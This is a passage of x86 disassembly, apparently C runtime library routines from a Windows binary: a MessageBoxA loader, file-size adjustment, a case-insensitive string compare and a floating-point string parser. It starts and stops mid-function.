var_10		= byte ptr -10h
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_A		= byte ptr  12h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4814C4, ebx
		push	esi
		push	edi
		jnz	short loc_4207FB
		push	offset aUser32_dll ; "user32.dll"
		call	dword_422088	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_420836
		mov	esi, dword_422084
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_4814C4, eax
		jz	short loc_420836
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4814C8, eax
		call	esi	; GetProcAddress
		cmp	dword_481164, 2
		mov	dword_4814CC, eax
		jnz	short loc_4207FB
		push	offset aGetuserobjecti ; "GetUserObjectInformationA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_4814D4, eax
		jz	short loc_4207FB
		push	offset aGetprocesswind ; "GetProcessWindowStation"
		push	edi
		call	esi	; GetProcAddress
		mov	dword_4814D0, eax


loc_4207FB:				; CODE XREF: sub_42077B+11j
					; sub_42077B+60j ...
		mov	eax, dword_4814D0
		test	eax, eax
		jz	short loc_420840
		call	eax	; GetProcessWindowStation
		test	eax, eax
		jz	short loc_420827
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Ch
		lea	ecx, [ebp+var_10]
		push	ecx
		push	1
		push	eax
		call	dword_4814D4	; GetUserObjectInformationA
		test	eax, eax
		jz	short loc_420827
		test	[ebp+var_8], 1
		jnz	short loc_420840


loc_420827:				; CODE XREF: sub_42077B+8Dj
					; sub_42077B+A4j
		cmp	dword_481170, 4
		jb	short loc_42083A
		or	[ebp+arg_A], 20h
		jmp	short loc_42085F
; ---------------------------------------------------------------------------


loc_420836:				; CODE XREF: sub_42077B+22j
					; sub_42077B+3Dj
		xor	eax, eax
		jmp	short loc_42086F
; ---------------------------------------------------------------------------


loc_42083A:				; CODE XREF: sub_42077B+B3j
		or	[ebp+arg_A], 4
		jmp	short loc_42085F
; ---------------------------------------------------------------------------


loc_420840:				; CODE XREF: sub_42077B+87j
					; sub_42077B+AAj
		mov	eax, dword_4814C8
		test	eax, eax
		jz	short loc_42085F
		call	eax	; GetActiveWindow
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_42085F
		mov	eax, dword_4814CC
		test	eax, eax
		jz	short loc_42085F
		push	ebx
		call	eax	; GetLastActivePopup
		mov	ebx, eax


loc_42085F:				; CODE XREF: sub_42077B+B9j
					; sub_42077B+C3j ...
		push	dword ptr [ebp+10h]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	ebx
		call	dword_4814C4	; MessageBoxA


loc_42086F:				; CODE XREF: sub_42077B+BDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42077B	endp


; =============== S U B	R O U T	I N E =======================================



sub_420874	proc near		; CODE XREF: sub_4208A5+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_481701[eax], cl
		jnz	short loc_4208A1
		cmp	[esp+arg_4], 0
		jz	short loc_42089A
		movzx	eax, word_42C182[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_42089C
; ---------------------------------------------------------------------------


loc_42089A:				; CODE XREF: sub_420874+16j
		xor	eax, eax


loc_42089C:				; CODE XREF: sub_420874+24j
		test	eax, eax
		jnz	short loc_4208A1
		retn
; ---------------------------------------------------------------------------


loc_4208A1:				; CODE XREF: sub_420874+Fj
					; sub_420874+2Aj
		xor	eax, eax
		inc	eax
		retn
sub_420874	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208A5	proc near		; CODE XREF: sub_41DC0B+35p

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_420874
		add	esp, 0Ch
		retn
sub_4208A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4208B6	proc near		; CODE XREF: sub_41E269+54p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		push	edi
		push	esi
		mov	[ebp+var_4], eax
		call	sub_41F50B
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		pop	ecx
		jnz	short loc_4208E7
		call	sub_41B935
		mov	dword ptr [eax], 9
		jmp	short loc_420910
; ---------------------------------------------------------------------------


loc_4208E7:				; CODE XREF: sub_4208B6+22j
		push	[ebp+arg_C]
		lea	ecx, [ebp+var_4]
		push	ecx
		push	[ebp+var_8]
		push	eax
		call	dword_422090	; SetFilePointer
		cmp	eax, edi
		mov	[ebp+var_8], eax
		jnz	short loc_420916
		call	dword_422004	; RtlGetLastWin32Error
		test	eax, eax
		jz	short loc_420916
		push	eax
		call	sub_41B947
		pop	ecx


loc_420910:				; CODE XREF: sub_4208B6+2Fj
		mov	eax, edi
		mov	edx, edi
		jmp	short loc_420935
; ---------------------------------------------------------------------------


loc_420916:				; CODE XREF: sub_4208B6+47j
					; sub_4208B6+51j
		mov	eax, esi
		sar	eax, 5
		mov	eax, dword_4815E0[eax*4]
		and	esi, 1Fh
		lea	ecx, [esi+esi*8]
		lea	eax, [eax+ecx*4+4]
		and	byte ptr [eax],	0FDh
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]


loc_420935:				; CODE XREF: sub_4208B6+5Ej
		pop	edi
		pop	esi
		leave
		retn
sub_4208B6	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]
		mov	al, 0FFh
		mov	edi, edi


loc_420950:				; CODE XREF: .text:00420960j
					; .text:00420980j
		or	al, al
		jz	short loc_420986
		mov	al, [esi]
		add	esi, 1
		mov	ah, [edi]
		add	edi, 1
		cmp	ah, al
		jz	short loc_420950
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_420950
		sbb	al, al
		sbb	al, 0FFh


loc_420986:				; CODE XREF: .text:00420952j
		movsx	eax, al
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42098E	proc near		; CODE XREF: sub_41F885+2BDp

var_100C	= byte ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_416B20
		mov	eax, dword_432A48
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		push	1
		xor	esi, esi
		push	esi
		push	[ebp+arg_0]
		mov	[ebp+var_4], eax
		call	sub_41D676
		or	ebx, 0FFFFFFFFh
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_420AB8
		push	2
		push	esi
		push	[ebp+arg_0]
		call	sub_41D676
		add	esp, 0Ch
		cmp	eax, ebx
		jz	loc_420AB8
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_420A5B
		mov	ebx, 1000h
		push	ebx
		lea	eax, [ebp+var_100C]
		push	esi
		push	eax
		call	sub_41E880
		push	8000h
		push	[ebp+arg_0]
		call	sub_421561
		add	esp, 14h
		mov	[ebp+var_C], eax


loc_420A0C:				; CODE XREF: sub_42098E+A2j
		cmp	edi, ebx
		mov	eax, ebx
		jge	short loc_420A14
		mov	eax, edi


loc_420A14:				; CODE XREF: sub_42098E+82j
		push	eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	[ebp+arg_0]
		call	sub_41E269
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_420A34
		sub	edi, eax
		test	edi, edi
		jg	short loc_420A0C
		jmp	short loc_420A4C
; ---------------------------------------------------------------------------


loc_420A34:				; CODE XREF: sub_42098E+9Cj
		call	sub_41B93E
		cmp	dword ptr [eax], 5
		jnz	short loc_420A49
		call	sub_41B935
		mov	dword ptr [eax], 0Dh


loc_420A49:				; CODE XREF: sub_42098E+AEj
		or	esi, 0FFFFFFFFh


loc_420A4C:				; CODE XREF: sub_42098E+A4j
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	sub_421561
		pop	ecx
		pop	ecx
		jmp	short loc_420AA3
; ---------------------------------------------------------------------------


loc_420A5B:				; CODE XREF: sub_42098E+56j
		jge	short loc_420AA3
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D676
		push	[ebp+arg_0]
		call	sub_41F50B
		add	esp, 10h
		push	eax
		call	dword_422138	; SetEndOfFile
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, ebx
		jnz	short loc_420AA3
		call	sub_41B935
		mov	dword ptr [eax], 0Dh
		call	sub_41B93E
		mov	edi, eax
		call	dword_422004	; RtlGetLastWin32Error
		mov	[edi], eax


loc_420AA3:				; CODE XREF: sub_42098E+CBj
					; sub_42098E:loc_420A5Bj ...
		push	0
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	sub_41D676
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_420ABA
; ---------------------------------------------------------------------------


loc_420AB8:				; CODE XREF: sub_42098E+32j
					; sub_42098E+48j
		mov	eax, ebx


loc_420ABA:				; CODE XREF: sub_42098E+128j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	esi
		pop	ebx
		call	sub_41C526
		leave
		retn
sub_42098E	endp


; =============== S U B	R O U T	I N E =======================================



sub_420AC9	proc near		; CODE XREF: sub_41FBF3+23p
					; sub_41FBF3+3Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		lea	ecx, [edx+esi]
		xor	eax, eax
		cmp	ecx, edx
		jb	short loc_420ADF
		cmp	ecx, esi
		jnb	short loc_420AE2


loc_420ADF:				; CODE XREF: sub_420AC9+10j
		xor	eax, eax
		inc	eax


loc_420AE2:				; CODE XREF: sub_420AC9+14j
		mov	edx, [esp+4+arg_8]
		mov	[edx], ecx
		pop	esi
		retn
sub_420AC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_420AEA	proc near		; CODE XREF: sub_420BA3+4Bp
					; sub_420BA3+6Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_420AC9
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_420B1C
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_420AC9
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_420B1C
		inc	dword ptr [esi+8]


loc_420B1C:				; CODE XREF: sub_420AEA+19j
					; sub_420AEA+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_420AC9
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_420B34
		inc	dword ptr [esi+8]


loc_420B34:				; CODE XREF: sub_420AEA+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_420AC9
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_420AEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_420B48	proc near		; CODE XREF: sub_420BA3+3Bp
					; sub_420BA3+41p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, [eax]
		mov	ecx, esi
		add	esi, esi
		push	edi
		mov	edi, [eax+4]
		shr	ecx, 1Fh
		mov	[eax], esi
		lea	esi, [edi+edi]
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+4], esi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_420B48	endp


; =============== S U B	R O U T	I N E =======================================



sub_420B76	proc near		; CODE XREF: sub_4210C1+1C1p
					; sub_4215C3+18Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		shr	ecx, 1
		shl	esi, 1Fh
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		or	ecx, edi
		shr	edx, 1
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_420B76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420BA3	proc near		; CODE XREF: sub_420C87+362p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_432A48
		xor	eax, [ebp+4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		cmp	eax, edx
		push	esi
		push	edi
		mov	[ebp+var_8], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_420C21
		mov	[ebp+arg_8], eax


loc_420BD5:				; CODE XREF: sub_420BA3+7Aj
		mov	esi, ebx
		lea	edi, [ebp+var_14]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_420B48
		push	ebx
		call	sub_420B48
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		call	sub_420AEA
		push	ebx
		call	sub_420B48
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		call	sub_420AEA
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_420BD5
		xor	edx, edx


loc_420C21:				; CODE XREF: sub_420BA3+2Dj
		cmp	[ebx+8], edx
		jnz	short loc_420C55
		mov	edi, [ebx+8]


loc_420C29:				; CODE XREF: sub_420BA3+ADj
		mov	ecx, [ebx+4]
		add	[ebp+var_8], 0FFF0h
		mov	eax, ecx
		shr	eax, 10h
		mov	edi, eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		cmp	edi, edx
		mov	[ebx+4], esi
		mov	[ebx], eax
		jz	short loc_420C29
		mov	[ebx+8], edi


loc_420C55:				; CODE XREF: sub_420BA3+81j
		mov	esi, 8000h
		jmp	short loc_420C6A
; ---------------------------------------------------------------------------


loc_420C5C:				; CODE XREF: sub_420BA3+CAj
		push	ebx
		call	sub_420B48
		add	[ebp+var_8], 0FFFFh
		pop	ecx


loc_420C6A:				; CODE XREF: sub_420BA3+B7j
		test	[ebx+8], esi
		jz	short loc_420C5C
		mov	ecx, [ebp+var_4]
		mov	ax, word ptr [ebp+var_8]
		xor	ecx, [ebp+4]
		pop	edi
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		call	sub_41C526
		leave
		retn
sub_420BA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420C87	proc near		; CODE XREF: sub_41FEE5+22p
					; sub_41FF28+22p

var_58		= byte ptr -58h
var_41		= byte ptr -41h
var_3C		= dword	ptr -3Ch
var_36		= dword	ptr -36h
var_32		= dword	ptr -32h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		mov	eax, dword_432A48
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	edi
		mov	edi, [ebp+arg_8]
		lea	esi, [ebp+var_58]
		mov	[ebp+var_8], esi
		mov	[ebp+var_2C], eax
		mov	[ebp+var_1C], 1
		mov	[ebp+var_C], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_18], eax
		mov	[ebp+arg_8], edi


loc_420CC8:				; CODE XREF: sub_420C87+58j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_420CDE
		cmp	cl, 9
		jz	short loc_420CDE
		cmp	cl, 0Ah
		jz	short loc_420CDE
		cmp	cl, 0Dh
		jnz	short loc_420CE1


loc_420CDE:				; CODE XREF: sub_420C87+46j
					; sub_420C87+4Bj ...
		inc	edi
		jmp	short loc_420CC8
; ---------------------------------------------------------------------------


loc_420CE1:				; CODE XREF: sub_420C87+55j
					; sub_420C87+B5j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_420F60	; default
					; jumptable 00420CED case 10
		jmp	off_421091[eax*4] ; switch jump


loc_420CF4:				; DATA XREF: .text:off_421091o
		cmp	bl, 31h		; jumptable 00420CED case 0
		jl	short loc_420D05
		cmp	bl, 39h
		jg	short loc_420D05


loc_420CFE:				; CODE XREF: sub_420C87+CEj
					; sub_420C87+129j
		push	3
		jmp	loc_420F1F
; ---------------------------------------------------------------------------


loc_420D05:				; CODE XREF: sub_420C87+70j
					; sub_420C87+75j
		cmp	bl, byte_432C98
		jnz	short loc_420D14


loc_420D0D:				; CODE XREF: sub_420C87+135j
		push	5
		jmp	loc_420F56
; ---------------------------------------------------------------------------


loc_420D14:				; CODE XREF: sub_420C87+84j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_420D3E
		dec	eax
		dec	eax
		jz	short loc_420D32
		sub	eax, 3
		jz	loc_420DCB
		mov	[ebp+var_8], esi
		dec	edi
		jmp	loc_420EDD
; ---------------------------------------------------------------------------


loc_420D32:				; CODE XREF: sub_420C87+97j
		push	2
		pop	eax
		mov	[ebp+var_2C], 8000h
		jmp	short loc_420CE1
; ---------------------------------------------------------------------------


loc_420D3E:				; CODE XREF: sub_420C87+93j
		and	[ebp+var_2C], 0
		push	2
		pop	eax
		jmp	short loc_420CE1
; ---------------------------------------------------------------------------


loc_420D47:				; CODE XREF: sub_420C87+66j
					; DATA XREF: .text:off_421091o
		xor	eax, eax	; jumptable 00420CED case 1
		inc	eax
		cmp	bl, 31h
		mov	[ebp+var_14], eax
		jl	short loc_420D57
		cmp	bl, 39h
		jle	short loc_420CFE


loc_420D57:				; CODE XREF: sub_420C87+C9j
		cmp	bl, byte_432C98
		jnz	short loc_420D66


loc_420D5F:				; CODE XREF: sub_420C87+182j
		push	4
		jmp	loc_420F56
; ---------------------------------------------------------------------------


loc_420D66:				; CODE XREF: sub_420C87+D6j
		cmp	bl, 2Bh
		jz	short loc_420DA0
		cmp	bl, 2Dh
		jz	short loc_420DA0
		cmp	bl, 30h
		jz	loc_420CE1


loc_420D79:				; CODE XREF: sub_420C87+1DAj
		cmp	bl, 43h
		jle	loc_420ED9
		cmp	bl, 45h
		jle	short loc_420D99
		cmp	bl, 63h
		jle	loc_420ED9
		cmp	bl, 65h
		jg	loc_420ED9


loc_420D99:				; CODE XREF: sub_420C87+FEj
		push	6
		jmp	loc_420F56
; ---------------------------------------------------------------------------


loc_420DA0:				; CODE XREF: sub_420C87+E2j
					; sub_420C87+E7j ...
		dec	edi
		push	0Bh
		jmp	loc_420F56
; ---------------------------------------------------------------------------


loc_420DA8:				; CODE XREF: sub_420C87+66j
					; DATA XREF: .text:off_421091o
		cmp	bl, 31h		; jumptable 00420CED case 2
		jl	short loc_420DB6
		cmp	bl, 39h
		jle	loc_420CFE


loc_420DB6:				; CODE XREF: sub_420C87+124j
		cmp	bl, byte_432C98
		jz	loc_420D0D
		cmp	bl, 30h
		jnz	loc_420F2B


loc_420DCB:				; CODE XREF: sub_420C87+9Cj
		xor	eax, eax
		inc	eax
		jmp	loc_420CE1
; ---------------------------------------------------------------------------


loc_420DD3:				; CODE XREF: sub_420C87+66j
					; DATA XREF: .text:off_421091o
		mov	[ebp+var_14], 1	; jumptable 00420CED case 3
		jmp	short loc_420DF3
; ---------------------------------------------------------------------------


loc_420DDC:				; CODE XREF: sub_420C87+178j
		cmp	[ebp+var_C], 19h
		jnb	short loc_420DED
		inc	[ebp+var_C]
		sub	bl, 30h
		mov	[esi], bl
		inc	esi
		jmp	short loc_420DF0
; ---------------------------------------------------------------------------


loc_420DED:				; CODE XREF: sub_420C87+159j
		inc	[ebp+var_10]


loc_420DF0:				; CODE XREF: sub_420C87+164j
		mov	bl, [edi]
		inc	edi


loc_420DF3:				; CODE XREF: sub_420C87+153j
		movzx	eax, bl
		push	eax
		call	sub_41E669
		test	eax, eax
		pop	ecx
		jnz	short loc_420DDC
		cmp	bl, byte_432C98
		jnz	short loc_420E4F
		jmp	loc_420D5F
; ---------------------------------------------------------------------------


loc_420E0E:				; CODE XREF: sub_420C87+66j
					; DATA XREF: .text:off_421091o
		xor	eax, eax	; jumptable 00420CED case 4
		inc	eax
		cmp	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	[ebp+var_28], eax
		jnz	short loc_420E41
		jmp	short loc_420E25
; ---------------------------------------------------------------------------


loc_420E1F:				; CODE XREF: sub_420C87+1A1j
		dec	[ebp+var_10]
		mov	bl, [edi]
		inc	edi


loc_420E25:				; CODE XREF: sub_420C87+196j
		cmp	bl, 30h
		jz	short loc_420E1F
		jmp	short loc_420E41
; ---------------------------------------------------------------------------


loc_420E2C:				; CODE XREF: sub_420C87+1C6j
		cmp	[ebp+var_C], 19h
		jnb	short loc_420E3E
		inc	[ebp+var_C]
		sub	bl, 30h
		mov	[esi], bl
		inc	esi
		dec	[ebp+var_10]


loc_420E3E:				; CODE XREF: sub_420C87+1A9j
		mov	bl, [edi]
		inc	edi


loc_420E41:				; CODE XREF: sub_420C87+194j
					; sub_420C87+1A3j
		movzx	eax, bl
		push	eax
		call	sub_41E669
		test	eax, eax
		pop	ecx
		jnz	short loc_420E2C


loc_420E4F:				; CODE XREF: sub_420C87+180j
		cmp	bl, 2Bh
		jz	loc_420DA0
		cmp	bl, 2Dh
		jz	loc_420DA0
		jmp	loc_420D79
; ---------------------------------------------------------------------------


loc_420E66:				; CODE XREF: sub_420C87+66j
					; DATA XREF: .text:off_421091o
		movzx	eax, bl		; jumptable 00420CED case 5
		push	eax
		mov	[ebp+var_28], 1
		call	sub_41E669
		test	eax, eax
		pop	ecx
		jz	loc_420F2B
		push	4
		jmp	loc_420F1F
; ---------------------------------------------------------------------------


loc_420E86:				; CODE XREF: sub_420C87+66j
					; DATA XREF: .text:off_421091o
		cmp	bl, 31h		; jumptable 00420CED case 6
		lea	ecx, [edi-2]
		mov	[ebp+arg_8], ecx
		jl	short loc_420E9A
		cmp	bl, 39h
		jle	loc_420F1D


loc_420E9A:				; CODE XREF: sub_420C87+208j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	loc_420F54
		dec	eax
		dec	eax
		jz	loc_420F48
		sub	eax, 3
		jnz	loc_420F6E


loc_420EB7:				; CODE XREF: sub_420C87+2A2j
		push	8
		jmp	loc_420F56
; ---------------------------------------------------------------------------


loc_420EBE:				; CODE XREF: sub_420C87+66j
					; DATA XREF: .text:off_421091o
		mov	[ebp+var_24], 1	; jumptable 00420CED case 8
		jmp	short loc_420ECA
; ---------------------------------------------------------------------------


loc_420EC7:				; CODE XREF: sub_420C87+246j
		mov	bl, [edi]
		inc	edi


loc_420ECA:				; CODE XREF: sub_420C87+23Ej
		cmp	bl, 30h
		jz	short loc_420EC7
		cmp	bl, 31h
		jl	short loc_420ED9
		cmp	bl, 39h
		jle	short loc_420F1D


loc_420ED9:				; CODE XREF: sub_420C87+F5j
					; sub_420C87+103j ...
		dec	edi


loc_420EDA:				; CODE XREF: sub_420C87+2A7j
					; sub_420C87+2E2j
		mov	[ebp+var_8], esi


loc_420EDD:				; CODE XREF: sub_420C87+A6j
					; sub_420C87+2ECj ...
		cmp	[ebp+var_14], 0
		mov	eax, [ebp+arg_4]
		mov	[eax], edi
		jz	loc_42103C
		push	18h
		pop	eax
		cmp	[ebp+var_C], eax
		jbe	short loc_420F04
		cmp	[ebp+var_41], 5
		jl	short loc_420EFD
		inc	[ebp+var_41]


loc_420EFD:				; CODE XREF: sub_420C87+271j
		dec	esi
		inc	[ebp+var_10]
		mov	[ebp+var_C], eax


loc_420F04:				; CODE XREF: sub_420C87+26Bj
		cmp	[ebp+var_C], 0
		jbe	loc_421063
		jmp	loc_420FD8
; ---------------------------------------------------------------------------


loc_420F13:				; CODE XREF: sub_420C87+66j
					; DATA XREF: .text:off_421091o
		cmp	bl, 31h		; jumptable 00420CED case 7
		jl	short loc_420F26
		cmp	bl, 39h
		jg	short loc_420F26


loc_420F1D:				; CODE XREF: sub_420C87+20Dj
					; sub_420C87+250j
		push	9


loc_420F1F:				; CODE XREF: sub_420C87+79j
					; sub_420C87+1FAj
		pop	eax
		dec	edi
		jmp	loc_420CE1
; ---------------------------------------------------------------------------


loc_420F26:				; CODE XREF: sub_420C87+28Fj
					; sub_420C87+294j
		cmp	bl, 30h
		jz	short loc_420EB7


loc_420F2B:				; CODE XREF: sub_420C87+13Ej
					; sub_420C87+1F2j
		mov	edi, [ebp+arg_8]
		jmp	short loc_420EDA
; ---------------------------------------------------------------------------


loc_420F30:				; CODE XREF: sub_420C87+66j
					; DATA XREF: .text:off_421091o
		cmp	[ebp+arg_18], 0	; jumptable 00420CED case 11
		jz	short loc_420F5C
		movsx	eax, bl
		sub	eax, 2Bh
		lea	ecx, [edi-1]
		mov	[ebp+arg_8], ecx
		jz	short loc_420F54
		dec	eax
		dec	eax
		jnz	short loc_420F6E


loc_420F48:				; CODE XREF: sub_420C87+221j
		or	[ebp+var_1C], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_420CE1
; ---------------------------------------------------------------------------


loc_420F54:				; CODE XREF: sub_420C87+219j
					; sub_420C87+2BBj
		push	7


loc_420F56:				; CODE XREF: sub_420C87+88j
					; sub_420C87+DAj ...
		pop	eax
		jmp	loc_420CE1
; ---------------------------------------------------------------------------


loc_420F5C:				; CODE XREF: sub_420C87+2ADj
		push	0Ah
		pop	eax
		dec	edi


loc_420F60:				; CODE XREF: sub_420C87+60j
					; sub_420C87+66j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00420CED case 10
		jnz	loc_420CE1
		jmp	loc_420EDA
; ---------------------------------------------------------------------------


loc_420F6E:				; CODE XREF: sub_420C87+22Aj
					; sub_420C87+2BFj
		mov	[ebp+var_8], esi
		mov	edi, ecx
		jmp	loc_420EDD
; ---------------------------------------------------------------------------


loc_420F78:				; CODE XREF: sub_420C87+66j
					; DATA XREF: .text:off_421091o
		mov	[ebp+var_8], esi ; jumptable 00420CED case 9
		mov	[ebp+var_24], 1
		xor	esi, esi
		jmp	short loc_420F9B
; ---------------------------------------------------------------------------


loc_420F86:				; CODE XREF: sub_420C87+320j
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_420FAB
		mov	bl, [edi]
		inc	edi


loc_420F9B:				; CODE XREF: sub_420C87+2FDj
		movzx	eax, bl
		push	eax
		call	sub_41E669
		test	eax, eax
		pop	ecx
		jnz	short loc_420F86
		jmp	short loc_420FB0
; ---------------------------------------------------------------------------


loc_420FAB:				; CODE XREF: sub_420C87+30Fj
		mov	esi, 1451h


loc_420FB0:				; CODE XREF: sub_420C87+322j
		mov	[ebp+var_20], esi
		movzx	eax, bl
		jmp	short loc_420FBE
; ---------------------------------------------------------------------------


loc_420FB8:				; CODE XREF: sub_420C87+340j
		mov	al, [edi]
		inc	edi
		movzx	eax, al


loc_420FBE:				; CODE XREF: sub_420C87+32Fj
		push	eax
		call	sub_41E669
		test	eax, eax
		pop	ecx
		jnz	short loc_420FB8
		mov	esi, [ebp+var_8]
		dec	edi
		jmp	loc_420EDD
; ---------------------------------------------------------------------------


loc_420FD2:				; CODE XREF: sub_420C87+355j
		dec	[ebp+var_C]
		inc	[ebp+var_10]


